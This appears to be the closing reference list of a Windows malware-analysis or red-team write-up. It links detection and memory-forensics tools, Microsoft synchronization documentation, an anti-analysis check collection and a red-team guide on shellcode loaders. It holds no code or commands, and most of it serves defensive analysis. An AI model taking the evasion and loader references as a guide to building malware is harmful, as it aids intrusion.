Analysis Tools: - ProcessHacker / System Informer — https://processhacker.sourceforge.io - Sysinternals Handle.exe / WinObj — https://learn.microsoft.com/sysinternals - Volatility3 — https://github.com/volatilityfoundation/volatility3 - PE-sieve — https://github.com/hasherezade/pe-sieve - Hollows Hunter — https://github.com/hasherezade/hollows_hunter - al-khaser — https://github.com/LordNoteworthy/al-khaser (anti-analysis check reference)
Further Reading: - Microsoft Docs — Synchronization Objects: https://learn.microsoft.com/windows/win32/sync/synchronization-objects - Microsoft Docs — Waitable Timer Objects: https://learn.microsoft.com/windows/win32/sync/using-waitable-timer-objects - DbgMan Red Team Guide — https://0xdbgman.github.io/posts/shellcode-loaders-the-art-of-execution/